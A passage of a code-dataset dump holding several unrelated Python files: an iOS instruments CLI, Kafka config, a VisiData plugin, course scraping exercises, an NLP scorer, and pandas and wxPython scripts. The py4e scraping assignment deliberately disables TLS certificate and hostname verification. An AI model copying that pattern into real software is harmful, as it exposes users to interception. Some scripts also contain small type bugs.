{data}')\n return\n rpc.process_attributes = proc_filter\n\n if sys_filter:\n data = rpc.device_info.sysmonSystemAttributes()\n sys_filter = sys_filter.split(',')\n for sys in sys_filter:\n if sys not in data:\n log.warn(f'{sys_filter} value:{sys} not in {data}')\n return\n rpc.system_attributes = sys_filter\n\n if bundle_id:\n app = rpc.application_listing(bundle_id)\n name = app.get('ExecutableName')\n rpc.sysmontap(on_callback_message, time)\n\n\n@instruments.group()\ndef condition():\n \"\"\"\n Set system running condition\n \"\"\"\n\n\n@condition.command('get', cls=Command)\ndef cmd_get_condition_inducer(udid, network, format):\n \"\"\" get aLL condition inducer configuration\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n ret = rpc.get_condition_inducer()\n print_json(ret)\n\n\n@condition.command('set', cls=Command)\n@click.option('-c', '--condition_id', default=None, help='Process app bundleId to filter')\n@click.option('-p', '--profile_id', default='', help='start wda port')\ndef cmd_set_condition_inducer(udid, network, format, condition_id, profile_id):\n \"\"\" set condition inducer\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n ret = rpc.set_condition_inducer(condition_id, profile_id)\n print_json(ret, format)\n\n\n@instruments.command('xcuitest', cls=Command)\n@click.option('-b', '--bundle_id', default=None, help='Process app bundleId to filter')\n@click.option('-p', '--port', default='', help='start wda port')\ndef cmd_xcuitest(udid, network, format, bundle_id, port):\n \"\"\" Run XCTest required WDA installed.\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n rpc.xctest(bundle_id, port)\n\n\n@instruments.command('fps', cls=Command)\n@click.option('-t', '--time', type=click.INT, default=1000, help='Output interval time (ms)')\ndef cmd_graphics(udid, network, format, time):\n \"\"\" Get graphics fps\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n def on_callback_message(res):\n data = res.parsed\n print_json({\"currentTime\": str(datetime.now()), \"fps\": data['CoreAnimationFramesPerSecond']}, format)\n\n rpc.graphics(on_callback_message, time)\n\n\n@instruments.command('notifications', cls=Command)\ndef cmd_notifications(udid, network, format):\n \"\"\"Get mobile notifications\n \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n def on_callback_message(res):\n print_json(get_auxiliary_text(res.raw), format)\n\n rpc.mobile_notifications(on_callback_message)\n\n\n@instruments.command('stackshot', cls=Command)\n@click.option('--out', type=click.File('w'), default=None)\ndef stackshot(udid, network, format, out):\n \"\"\" Dump stackshot information. \"\"\"\n with InstrumentsBase(udid=udid, network=network) as rpc:\n stopSignal = threading.Event()\n\n def on_callback_message(res):\n if type(res.plist) is InstrumentRPCParseError:\n buf = res.raw.get_selector()\n if buf.startswith(b'\\x07X\\xa2Y'):\n stopSignal.set()\n kc_data = kc_data_parse(buf)\n if out is not None:\n json.dump(kc_data, out, indent=4)\n log.info(f'Successfully dump stackshot to {out.name}')\n else:\n print_json(kc_data, format)\n rpc.core_profile_session(on_callback_message, stopSignal)\n\n# @instruments.command('power', cls=Command)\n# def cmd_power(udid, network, format):\n# \"\"\"Get mobile power\n# \"\"\"\n# headers = ['startingTime', 'duration', 'level'] # DTPower\n# ctx = {\n# 'remained': b''\n# }\n# def on_callback_message(res):\n# print(res.parsed)\n# ctx['remained'] += res.parsed['data']\n# cur = 0\n# while cur + 3 * 8 <= len(ctx['remained']):\n# print(\"[level.dat]\", dict(zip(headers, struct.unpack('>ddd', ctx['remained'][cur: cur + 3 * 8]))))\n# cur += 3 * 8\n# pass\n# ctx['remained'] = ctx['remained'][cur:]\n#\n# with InstrumentsBase(udid=udid, network=network) as rpc:\n#\n# rpc.power(on_callback_message)\n","sub_path":"ios_device/cli/instruments.py","file_name":"instruments.py","file_ext":"py","file_size_in_byte":15020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"97479581","text":"from os import environ, path\nimport uuid\nfrom pathlib import Path\n\n\"\"\"\nReads all the relevant environment variables of the OS and stores them in a variable with the same name.\nEvery script with `from config import *` can access these variables. \n\"\"\"\nLOG_FILE_PATH = environ.get('LOG_FILE_PATH', 'test_message_generator.log')\nLOG_FORMAT = environ.get('LOG_FORMAT', '%(asctime)-15s %(message)s')\nLOG_LEVEL = environ.get('LOG_LEVEL', 'INFO')\nMESSAGE_SOURCE = environ.get('MESSAGE_SOURCE', 'test_message_generator_' + uuid.uuid4().hex)\nMESSAGE_SEND_INTERVAL = environ.get('MESSAGE_SEND_INTERVAL', 5)\nKAFKA_TOPIC_OUTPUT = environ.get('KAFKA_TOPIC_OUTPUT', 'test-message-generator')\nKAFKA_TOPIC_OUTPUT_REPLICATION_FACTOR = environ.get('KAFKA_TOPIC_OUTPUT_REPLICATION_FACTOR ', 1)\nKAFKA_TOPIC_OUTPUT_NUM_PARTITIONS = environ.get('KAFKA_TOPIC_OUTPUT_NUM_PARTITIONS', 1)\nKAFKA_BOOTSTRAP_SERVERS = environ.get('KAFKA_BOOTSTRAP_SERVERS', 'localhost:9092')\nPROJECT_PATH = Path(path.dirname(path.abspath(__file__)))\n\n","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"514404380","text":"__author__ = 'Geekscrapy'\n__version__ = '1.0'\n__description__ = '''\nAllows the user to fix the position on the page where they would like the\ncursor to \"stick\". Helps to provide context about surrounding rows when\nnear the top and bottom of the page.\n\nUsage: import this .py into .visidatarc, open a sheet, scroll a few\nlines down, press \"w\" and scroll again!\n\nIdea birthed here: https://github.com/saulpw/visidata/issues/561\n'''\nfrom visidata import option, options, status, Sheet\n\noption(name='scroll_fix_enabled', default=False, helpstr='toggle scroll fix')\n\n@Sheet.api\ndef toggle_scroll_fix(sheet):\n\n # Disable scroll fix\n if options.scroll_fix_enabled:\n options.scroll_fix_enabled = False; status('scroll fix disabled')\n\n Sheet.addCommand(None, 'go-down', 'cursorDown(+1)', 'go down')\n Sheet.addCommand(None, 'go-up', 'cursorDown(-1)', 'go up')\n\n # Enable scrollfix\n else:\n options.scroll_fix_enabled = True; status('scroll fix enabled')\n\n Sheet.addCommand(None, 'go-up', 'sheet.topRowIndex -= 1; sheet.cursorRowIndex -= 1', 'move cursor up with a fixed position')\n Sheet.addCommand(None, 'go-down', 'sheet.topRowIndex = sheet.nRows - sheet.nScreenRows if sheet.topRowIndex + sheet.nScreenRows >= sheet.nRows else sheet.topRowIndex + 1; sheet.cursorRowIndex += 1', 'move cursor down with a fixed position')\n\nSheet.addCommand('w', 'scroll-fix-toggle', 'toggle_scroll_fix()', helpstr='toggle scroll fix behaviour')\n","sub_path":"scroll_fix.py","file_name":"scroll_fix.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"238831085","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 25 17:25:44 2018\n\n@author: bianl\n\"\"\"\n\n# Assignment 12.3 Following Links in HTML Using BeautifulSoup\n# From Course 3: Using Python to Access Web Data, Week 4(Chapter 12)\n# IMPORTANT knowledge points:\n# 1. urllib, ssl, BeautifulSoup\n# 2. regular expression\n\n# To run this, you can install BeautifulSoup\n# https://pypi.python.org/pypi/beautifulsoup4\n\n# Or download the file\n# http://www.py4e.com/code3/bs4.zip\n# and unzip it in the same directory as this file\n\nimport urllib.request, urllib.parse, urllib.error\nfrom bs4 import BeautifulSoup\nimport ssl\nimport re\n\n# Ignore SSL certificate errors\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\n# Input parameters & its default value\nurl = input('Enter - ')\nif len(url) < 1: url = 'http://py4e-data.dr-chuck.net/known_by_Fyfe.html' \npos = input('Enter position:')\nif len(pos) < 1: pos = 18\nloop = input('Enter count:')\nif len(loop) < 1: loop = 7\n\nfor i in range(loop):\n print('Retrieving:',url)\n \n html = urllib.request.urlopen(url, context=ctx).read()\n soup = BeautifulSoup(html, 'html.parser')\n # Retrieve all of the anchor tags\n tags = soup('a')\n urls = []\n for tag in tags:\n urls.append(tag.get('href', None))\n url = urls[pos-1]\n \nprint(re.findall('known_by_([A-Z]+[a-z]+)',url))\n","sub_path":"py4e/Assignment_1203.py","file_name":"Assignment_1203.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"652056269","text":"\n\"\"\"\n 1) Introduction.\n This package contains the evaluation script for Task 11: Complex Word Identification of SemEval 2016. 2) Content:\n - README.txt: This file.\n - evaluate_system.py: System evaluation script in Python. 3) Running:\n The command line that runs the evaluation script is:\n\n python evaluate_system.py [-h] --gold GOLD --pred PRED\n\n If you use the \"-h\" option, you will get detailed instructions on the parameters required.\n The \"--gold\" parameter must be a dataset with gold-standard labels in the format provided by the task's organizers.\n The \"--pred\" parameter must be the file containing the predicted labels.\n\"\"\"\n\nfrom __future__ import division, print_function\nimport sys\nimport argparse\nimport math\n\n\ndef evaluateIdentifier(gold, pred):\n \"\"\"\n Performs an intrinsic evaluation of a Complex Word Identification approach.\n @param gold: A vector containing gold-standard labels.\n @param pred: A vector containing predicted labels.\n @return: Accuracy, Recall and F-1.\n \"\"\"\n\n tp = 0\n fp = 0\n fn = 0\n tn = 0\n\n for gold_label, predicted_label in zip(gold, pred):\n gold_label = int(gold_label)\n predicted_label = int(predicted_label)\n if gold_label == 1:\n if predicted_label == 1:\n tp += 1\n else:\n fn += 1\n else:\n if predicted_label == 1:\n fp += 1\n else:\n tn += 1\n\n # accuracy: (tp + tn) / (tp + tn + fp + fn)\n accuracy = float(tp + tn) / float(tp + tn + fp + fn)\n\n try:\n # precision : tp / (tp + fp)\n prec = float(tp) / float(tp + fp)\n except ZeroDivisionError:\n prec = 0\n\n try:\n # recall: tp / (tp + fn)\n rec = float(tp) / float(tp + fn)\n except ZeroDivisionError:\n rec = 0\n\n try:\n f1 = 2 * float(prec * rec) / float(prec + rec)\n except ZeroDivisionError:\n f1 = 0\n\n try:\n g_score = 2 * (accuracy * rec) / (accuracy + rec)\n except ZeroDivisionError:\n g_score = 0\n\n # Initialize variables:\n # accuracyc = 0\n # accuracyt = 0\n # recallc = 0\n # recallt = 0\n\n # # Calculate measures:\n # for gold_label, predicted_label in zip(gold, pred):\n # if gold_label == predicted_label:\n # accuracyc += 1\n # if gold_label == 1:\n # recallc += 1\n # if gold_label == 1:\n # recallt += 1\n # accuracyt += 1\n # accuracy_sys = accuracyc / accuracyt\n # recall_sys = recallc / recallt\n\n # try:\n # g_score_2 = 2 * (accuracy * recall_sys) / (accuracy_sys + recall_sys)\n # except ZeroDivisionError:\n # g_score_2 = 0\n\n # Return measures:\n # return accuracy, recall, g_score\n return accuracy, prec, rec, f1, g_score\n\n\nif __name__ == '__main__':\n # Parse arguments:\n description = 'Evaluation script for Task 11: Complex Word Identification.'\n description += ' The gold-standard file is a dataset with labels in the format provided by the task organizers.'\n description += ' The predicted labels file must contain one label 0 or 1 per line, and must have the same number of lines as the gold-standard.'\n epilog = 'Returns: Accuracy, Recall and F1.'\n parser = argparse.ArgumentParser(description=description, epilog=epilog)\n parser.add_argument('--gold', required=True, help='File containing dataset with gold-standard labels.')\n parser.add_argument('--pred', required=True, help='File containing predicted labels.')\n args = vars(parser.parse_args())\n # Retrieve labels:\n gold = [int(line.strip().split('\\t')[3]) for line in open(args['gold'])]\n pred = [int(line.strip()) for line in open(args['pred'])]\n # Calculate scores:\n # p, r, f = evaluateIdentifier(gold, pred)\n accuracy, prec, rec, f1, g_score = evaluateIdentifier(gold, pred)\n # Present scores:\n # print('Accuracy: ' + str(p))\n # print('Recall: ' + str(r))\n # print('F1: ' + str(f))\n print('Accuracy: ' + str(accuracy))\n print(\"Precision: \" + str(prec))\n print('Recall: ' + str(rec))\n print('F1: ' + str(f1))\n print('G score: ' + str(g_score))\n","sub_path":"data/evaluate_system.py","file_name":"evaluate_system.py","file_ext":"py","file_size_in_byte":4180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"630509307","text":"import argparse\nimport json\nimport os\nimport fastjsonschema\n\nmy_parser = argparse.ArgumentParser(description='List the json files of a folder')\nmy_parser.add_argument('--path', type=str, nargs = '+', help='the path')\n\nargs = my_parser.parse_args()\ninput_paths = args.path\nprint(\"Files Passed are \",input_paths)\n\nfilter_input_paths = []\nfor input_path in input_paths:\n if (input_path.startswith('it_engineering/etl/great_expectations')):\n # dirname = os.path.dirname(input_path)\n # dirbasename = os.path.basename(dirname)\n # filename = os.path.basename(input_path)\n # print(dirname)\n # print(dirbasename)\n # print(filename)\n # filter_input_paths.append(os.path.join(dirbasename,filename))\n filter_input_paths.append(input_path)\n\nprint(\"Files to work on are \",filter_input_paths)\n\n\ndirpath = os.path.dirname(os.path.abspath(__file__))\nrepo_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nschema_file_path = os.path.join(dirpath,'')\n\nprint(dirpath)\nprint(repo_path)\nprint(schema_file_path)\n\n\ns = open(schema_file_path,'r')\nschema = json.load(s)\n\nfor input_file in filter_input_paths:\n print(os.path.join(repo_path, input_file))\n f = open(os.path.join(repo_path, input_file),'r')\n example = json.load(f)\n fastjsonschema.validate(schema, example)\n f.close()\n","sub_path":"build/ci/scripts/fastjson.py","file_name":"fastjson.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"348813808","text":"import pandas as pd\nimport numpy as np\ndef load_and_process(csv):\n data=pd.read_csv(csv)\n#Drop Unwanted Columns\n df1 = (pd.DataFrame(data)\n .drop('DemoCount',axis=1)\n .drop('Reviews',axis=1)\n .drop('Website',axis=1)\n .drop('HeaderImage',axis=1)\n .drop('DRMNotice',axis=1)\n .drop('DLCCount',axis=1)\n .drop('DeveloperCount',axis=1)\n .drop('LegalNotice',axis=1)\n .drop('ExtUserAcctNotice',axis=1)\n .drop('MovieCount',axis=1)\n .drop('RequiredAge',axis=1)\n .drop('PublisherCount',axis=1)\n .drop('ScreenshotCount',axis=1)\n .drop('Background',axis=1)\n .drop('AboutText',axis=1)\n .drop('ShortDescrip',axis=1)\n .drop('DetailedDescrip',axis=1)\n .drop('SupportEmail',axis=1)\n .drop('SupportURL',axis=1)\n .drop('SupportedLanguages',axis=1)\n .drop('PriceCurrency',axis=1)\n .drop('LinuxMinReqsText',axis=1)\n .drop('LinuxRecReqsText',axis=1)\n .drop('PCRecReqsText',axis=1)\n .drop('PCMinReqsText',axis=1)\n .drop('MacMinReqsText',axis=1)\n .drop('MacRecReqsText',axis=1)\n .drop('PackageCount',axis=1)\n .drop('SteamSpyOwnersVariance',axis=1)\n .drop('SteamSpyPlayersVariance',axis=1)\n .drop('AchievementCount',axis=1)\n .drop('AchievementHighlightedCount',axis=1)\n .drop('ControllerSupport',axis=1)\n .drop('SteamSpyPlayersEstimate',axis=1)\n .drop('FreeVerAvail',axis=1)\n .drop('PurchaseAvail',axis=1)\n .drop('SubscriptionAvail',axis=1)\n .drop('PlatformWindows',axis=1)\n .drop('PlatformLinux',axis=1)\n .drop('PlatformMac',axis=1)\n .drop('PCReqsHaveMin',axis=1)\n .drop('PCReqsHaveRec',axis=1)\n .drop('LinuxReqsHaveMin',axis=1)\n .drop('LinuxReqsHaveRec',axis=1)\n .drop('MacReqsHaveMin',axis=1)\n .drop('MacReqsHaveRec',axis=1)\n .drop('CategorySinglePlayer',axis=1)\n .drop('CategoryMultiplayer',axis=1)\n .drop('CategoryCoop',axis=1)\n .drop('CategoryMMO',axis=1)\n .drop('CategoryInAppPurchase',axis=1)\n .drop('CategoryIncludeSrcSDK',axis=1)\n .drop('CategoryIncludeLevelEditor',axis=1)\n .drop('CategoryVRSupport',axis=1)\n .drop('GenreIsNonGame',axis=1)\n .drop('QueryName',axis=1)\n .drop('QueryID',axis=1)\n .drop('ResponseID',axis=1)\n .drop('IsFree',axis=1))\n #Rename\n df2=(df1\n .rename(columns={\"Metacritic\":\"Rating\"})\n .rename(columns={\"SteamSpyOwners\":\"Owners\"})\n .rename(columns={\"RecommendationCount\":\"Recommendations\"})\n .rename(columns={\"ResponseName\":\"Games\"}))\n #Add Revenue in Millions column\n df3=(df2\n .assign(RevenueMillions=data.SteamSpyOwners*data.PriceFinal/1000000))\n return df3\ndef Column_var_sort(df,col,up_down):\n df1=(df.sort_values(col,ascending=up_down))\n return df1\ndef Rating_Sort(df,val):\n d2=df.loc[lambda x: x['Rating']>val]\n return d2\ndef Split_Genre(df,col):\n d3 = df[df[col] == True]\n return d3\ndef plotOwners(df):\n dfIndie=df[df.GenreIsIndie == True]\n dfAction=df[df.GenreIsAction == True]\n dfCasual=df[df.GenreIsCasual == True]\n dfAdventure=df[df.GenreIsAdventure == True]\n dfStrategy=df[df.GenreIsStrategy == True]\n dfRPG=df[df.GenreIsRPG == True]\n dfSimulation=df[df.GenreIsSimulation == True]\n dfEA=df[df.GenreIsEarlyAccess == True]\n dfFTP=df[df.GenreIsFreeToPlay == True]\n dfSports=df[df.GenreIsSports == True]\n dfRacing=df[df.GenreIsRacing == True]\n dfMM=df[df.GenreIsMassivelyMultiplayer == True]\n Total = df[\"Owners\"].sum()\n Indie = dfIndie[\"Owners\"].sum()\n Action = dfAction[\"Owners\"].sum()\n Casual = dfCasual[\"Owners\"].sum()\n Adventure = dfAdventure[\"Owners\"].sum()\n Strategy = dfStrategy[\"Owners\"].sum()\n RPG = dfRPG[\"Owners\"].sum()\n Simulation = dfSimulation[\"Owners\"].sum()\n EarlyAccess = dfEA[\"Owners\"].sum()\n FreeToPlay = dfFTP[\"Owners\"].sum()\n Sports = dfSports[\"Owners\"].sum()\n Racing = dfRacing[\"Owners\"].sum()\n MassivelyMultiplayer = dfMM[\"Owners\"].sum()\n print('Total Games : ', Total, ' Indie : ', Indie,' Action : ', Action, ' Casual : ', Casual,' Adventure : ', Adventure, ' Strategy: ', Strategy, 'RPG : ', RPG, ' Simulation : ', Simulation, ' Early Access : ', EarlyAccess,' Free To Play : ', FreeToPlay, ' Sports : ' ,Sports, ' Racing : ', Racing, ' Massively Multiplayer : ', MassivelyMultiplayer)\n ap= {\"Genre\":[\"Total\",\"Indie\", \"Action\",\"Casual\", \"Adventure\", \"Strategy\",\"RPG\",\"Simulation\", \"Early Access\", \"Free to Play\",\"Sports\",\"Racing\",\"Massively Multiplayer\"], \"Owners\":[Total, Indie, Action, Casual, Adventure, Strategy,RPG,Simulation,EarlyAccess,FreeToPlay,Sports,Racing,MassivelyMultiplayer]}\n dataFrame=pd.DataFrame(data=ap)\n dataFrame.plot.bar(x=\"Genre\",y=\"Owners\")\ndef Genrecount(df):\n dfIndie=df[df.GenreIsIndie == True]\n dfAction=df[df.GenreIsAction == True]\n dfCasual=df[df.GenreIsCasual == True]\n dfAdventure=df[df.GenreIsAdventure == True]\n dfStrategy=df[df.GenreIsStrategy == True]\n dfRPG=df[df.GenreIsRPG == True]\n dfSimulation=df[df.GenreIsSimulation == True]\n dfEA=df[df.GenreIsEarlyAccess == True]\n dfFTP=df[df.GenreIsFreeToPlay == True]\n dfSports=df[df.GenreIsSports == True]\n dfRacing=df[df.GenreIsRacing == True]\n dfMM=df[df.GenreIsMassivelyMultiplayer == True]\n Total = df['Games'].count()\n Indie = dfIndie['Games'].count()\n Action = dfAction['Games'].count()\n Casual = dfCasual['Games'].count()\n Adventure = dfAdventure['Games'].count()\n Strategy = dfStrategy['Games'].count()\n RPG = dfRPG['Games'].count()\n Simulation = dfSimulation['Games'].count()\n EarlyAccess = dfEA['Games'].count()\n FreeToPlay = dfFTP['Games'].count()\n Sports = dfSports['Games'].count()\n Racing = dfRacing['Games'].count()\n MassivelyMultiplayer = dfMM['Games'].count()\n print('Total Games : ', Total, ' Indie Games : ', Indie,' Action Games : ', Action, ' Casual Games : ', Casual,' Adventure Games : ', Adventure, ' Strategy Games: ', Strategy, 'RPG : ', RPG, ' Simulation Games : ', Simulation, ' Early Access : ', EarlyAccess,' Free To Play : ', FreeToPlay, ' Sports : ' ,Sports, ' Racing : ', Racing, ' Massively Multiplayer : ', MassivelyMultiplayer)\n ap= {\"Genre\":[\"Total\",\"Indie\", \"Action\",\"Casual\", \"Adventure\", \"Strategy\",\"RPG\",\"Simulation\", \"Early Access\", \"Free to Play\",\"Sports\",\"Racing\",\"Massively Multiplayer\"], \"Games\":[Total, Indie, Action, Casual, Adventure, Strategy,RPG,Simulation,EarlyAccess,FreeToPlay,Sports,Racing,MassivelyMultiplayer]}\n dataFrame=pd.DataFrame(data=ap)\n dataFrame.plot.bar(x=\"Genre\",y=\"Games\")\ndef plotRevenue(df):\n dfIndie=df[df.GenreIsIndie == True]\n dfAction=df[df.GenreIsAction == True]\n dfCasual=df[df.GenreIsCasual == True]\n dfAdventure=df[df.GenreIsAdventure == True]\n dfStrategy=df[df.GenreIsStrategy == True]\n dfRPG=df[df.GenreIsRPG == True]\n dfSimulation=df[df.GenreIsSimulation == True]\n dfEA=df[df.GenreIsEarlyAccess == True]\n dfFTP=df[df.GenreIsFreeToPlay == True]\n dfSports=df[df.GenreIsSports == True]\n dfRacing=df[df.GenreIsRacing == True]\n dfMM=df[df.GenreIsMassivelyMultiplayer == True]\n Total = df[\"RevenueMillions\"].sum()\n Indie = dfIndie[\"RevenueMillions\"].sum()\n Action = dfAction[\"RevenueMillions\"].sum()\n Casual = dfCasual[\"RevenueMillions\"].sum()\n Adventure = dfAdventure[\"RevenueMillions\"].sum()\n Strategy = dfStrategy[\"RevenueMillions\"].sum()\n RPG = dfRPG[\"RevenueMillions\"].sum()\n Simulation = dfSimulation[\"RevenueMillions\"].sum()\n EarlyAccess = dfEA[\"RevenueMillions\"].sum()\n FreeToPlay = dfFTP[\"RevenueMillions\"].sum()\n Sports = dfSports[\"RevenueMillions\"].sum()\n Racing = dfRacing[\"RevenueMillions\"].sum()\n MassivelyMultiplayer = dfMM[\"RevenueMillions\"].sum()\n print('Total : ', Total, ' Indie : ', Indie,' Action : ', Action, ' Casual : ', Casual,' Adventure : ', Adventure, ' Strategy : ', Strategy, 'RPG : ', RPG, ' Simulation : ', Simulation, ' Early Access : ', EarlyAccess,' Free To Play : ', FreeToPlay, ' Sports : ' ,Sports, ' Racing : ', Racing, ' Massively Multiplayer : ', MassivelyMultiplayer)\n ap= {\"Genre\":[\"Total\",\"Indie\", \"Action\",\"Casual\", \"Adventure\", \"Strategy\",\"RPG\",\"Simulation\", \"Early Access\", \"Free to Play\",\"Sports\",\"Racing\",\"Massively Multiplayer\"], \"Owners\":[Total, Indie, Action, Casual, Adventure, Strategy,RPG,Simulation,EarlyAccess,FreeToPlay,Sports,Racing,MassivelyMultiplayer]}\n dataFrame=pd.DataFrame(data=ap)\n dataFrame.plot.bar(x=\"Genre\",y=\"Owners\")","sub_path":"analysis/Cawston/.ipynb_checkpoints/project_functions1-checkpoint.py","file_name":"project_functions1-checkpoint.py","file_ext":"py","file_size_in_byte":8833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"358956998","text":"#coding=utf8\nimport logging\nimport sys\nBasePath = sys.path[0]\n\n\ndef logging_set(filepath):\n logging.basicConfig(level=logging.DEBUG,\n format = '%(asctime)s %(levelname)s %(message)s',\n datefmt= \"%a, %d %b %Y %H:%M:%S\",\n filename = filepath,#BasePath + \"/test_logging_model.txt\",\n filemode= 'w')\n\n #############################################################################\n # 定义一个StreamHandler, 将INFO级别或者更高级别的日志信息打印到标准错误,\n # 并将其添加到当前的日志处理对象\n console = logging.StreamHandler()\n # cc = logging.FileHandler()\n\n console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n console.setFormatter(formatter)\n logging.getLogger('').addHandler(console)\n #############################################################################\n\n\n\nif __name__ == \"__main__\":\n\n logging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n datefmt = \"%a, %d %b %Y %H:%M%S\"\n )\n # file_console = logging.FileHandler(BasePath + \"/logging/test_logging_1.txt\")\n # file_console.setLevel(logging.INFO)\n # formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n # file_console.setFormatter(formatter)\n\n for i in range(0, 10):\n file_console = logging.FileHandler(BasePath + \"/logging/test_logging_\"+str(i)+\"_.txt\")\n file_console.setLevel(logging.INFO)\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n file_console.setFormatter(formatter)\n\n logging.info(str(i))\n logging.info(\"asdasdasda\")\n\n\n","sub_path":"logging_helper.py","file_name":"logging_helper.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"499677108","text":"# -*- coding: utf-8 -*-\r\n\r\n\r\n\r\n \r\ndef data_clean(data,need_list,not_need_list):\r\n result=[]\r\n #print(need_list)\r\n for item in data:\r\n rout=item[1]\r\n new_rout=[]\r\n for c_pair in rout:\r\n c_list=c_pair.split('_')\r\n for c in c_list:\r\n if c not in new_rout:\r\n new_rout.append(c)\r\n \r\n compound_name=item[5]\r\n new_compound_name=''\r\n for name_list in compound_name:\r\n for name in name_list:\r\n if name not in new_compound_name:\r\n new_compound_name+=name+' | '\r\n item[5]=new_compound_name.strip()[0:-1].strip()\r\n print(item)\r\n if need_list==['']:\r\n print(1)\r\n for c in new_rout:\r\n if c in not_need_list:\r\n break\r\n if c==new_rout[-1]:\r\n item[1]=new_rout\r\n result.append(item)\r\n elif need_list!='':\r\n print(2)\r\n exist=False\r\n for c in new_rout:\r\n if c in not_need_list:\r\n break\r\n if c in need_list:\r\n exist=True\r\n if c==new_rout[-1] and exist:\r\n item[1]=new_rout\r\n result.append(item)\r\n print(result)\r\n data=[]\r\n for item in result:\r\n reaction=''\r\n for i in item[0]:\r\n reaction+=i+' '\r\n \r\n route=''\r\n for i in item[1]:\r\n route+=i+'→'\r\n \r\n data.append([reaction.strip(),route[0:-1],item[3],item[4],item[5]])\r\n \r\n \r\n return data\r\n\r\ndef trans_compound(com_list):\r\n result=[]\r\n for c_pair in com_list:\r\n c_list=c_pair.split('_')\r\n for c in c_list:\r\n if c not in result:\r\n result.append(c)\r\n return result\r\nif __name__=='__main__':\r\n data=[[('R','R2'),['C1_C2','C2_C3','C3_C4'],158,126,['E1','E2'],[['n1','n2'],['n2','n3']]]]\r\n print(data_clean(data,[''],['']))","sub_path":"software-test/multi_micro_system/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"79981732","text":"import re\nimport config\n\nen_file = config.en_file_dev\nvn_file = config.vn_file_dev\n\nent_pattern = re.compile(r\"(<[A-Z]+\\_\\d+>)([^]*)()\")\nent_type_pattern = re.compile(r\"(<([A-Z]+)\\_\\d+>)\")\n\ndef get_index(ent,sent):\n index = []\n word_list = sent.split()\n # print(ent.group(1))\n # print(word_list)\n cur_ent_word = ent.group(0)\n # print(cur_ent_word)\n for i in range(len(word_list)):\n if ent.group(1) in word_list[i]:\n index = list(range(i+1,i+len(cur_ent_word.split())+1))\n break\n return index\n\ndef clearEntityType(ent_type):\n return re.search(ent_type_pattern,ent_type).group(2)\n\ndef getSentTrueSet(en_sent,vn_sent):\n res = []\n en_list = [ent for ent in re.finditer(ent_pattern,en_sent)]\n vn_list = [ent for ent in re.finditer(ent_pattern,vn_sent)]\n # print(en_list)\n en_type_set = set([en.group(1) for en in en_list])\n vi_type_set = set([vi.group(1) for vi in vn_list])\n intersect_type_set = en_type_set.intersection(vi_type_set)\n for ent_type in list(intersect_type_set):\n for en in en_list:\n if (ent_type == en.group(1)):\n en_entity = en\n break\n for vn in vn_list:\n if (ent_type == vn.group(1)):\n vn_entity = vn\n break\n en_index = get_index(en_entity,en_sent)\n vn_index = get_index(vn_entity,vn_sent)\n cur_type = clearEntityType(ent_type)\n en_word = en_entity.group(2)\n vn_word = vn_entity.group(2)\n cur_NE_Pair = (en_index,vn_index,cur_type,en_word,vn_word)\n res.append(cur_NE_Pair)\n \n return res\n \ndef getFileTrueSet(en_file,vn_file):\n res = []\n en_list = open(en_file,'r',encoding='utf-8').read().split('\\n')\n vn_list = open(vn_file,'r',encoding='utf-8').read().split('\\n')\n\n for i in range(len(en_list)):\n res.append(getSentTrueSet(en_list[i],vn_list[i]))\n\n\n return res\n","sub_path":"Source/Approach1/TrueSet.py","file_name":"TrueSet.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"550956714","text":"'''\r\nCreated on Jan 28, 2016\r\n\r\n@author: AnjilaTam\r\n'''\r\nimport wx\r\n\r\n\r\nclass Example(wx.Frame):\r\n \r\n def __init__(self, *args, **kw):\r\n super(Example, self).__init__(*args, **kw) \r\n \r\n self.InitUI()\r\n \r\n def InitUI(self): \r\n\r\n pnl = wx.Panel(self)\r\n \r\n distros = ['Ubuntu11111', 'Arch', 'Fedora', 'Debian', 'Mint']\r\n cb = wx.ComboBox(pnl, pos=(50, 30), choices=distros, \r\n style=wx.CB_READONLY)\r\n cb.SetSelection(1)\r\n# self.st = wx.StaticText(pnl, label='', pos=(50, 140))\r\n cb.Bind(wx.EVT_COMBOBOX, self.OnSelect)\r\n \r\n self.SetSize((290, 230))\r\n self.SetTitle('wx.ComboBox')\r\n self.Centre()\r\n self.Show(True) \r\n \r\n def OnSelect(self, e):\r\n \r\n i = e.GetString()\r\n# self.st.SetLabel(i)\r\n \r\ndef main():\r\n \r\n ex = wx.App()\r\n 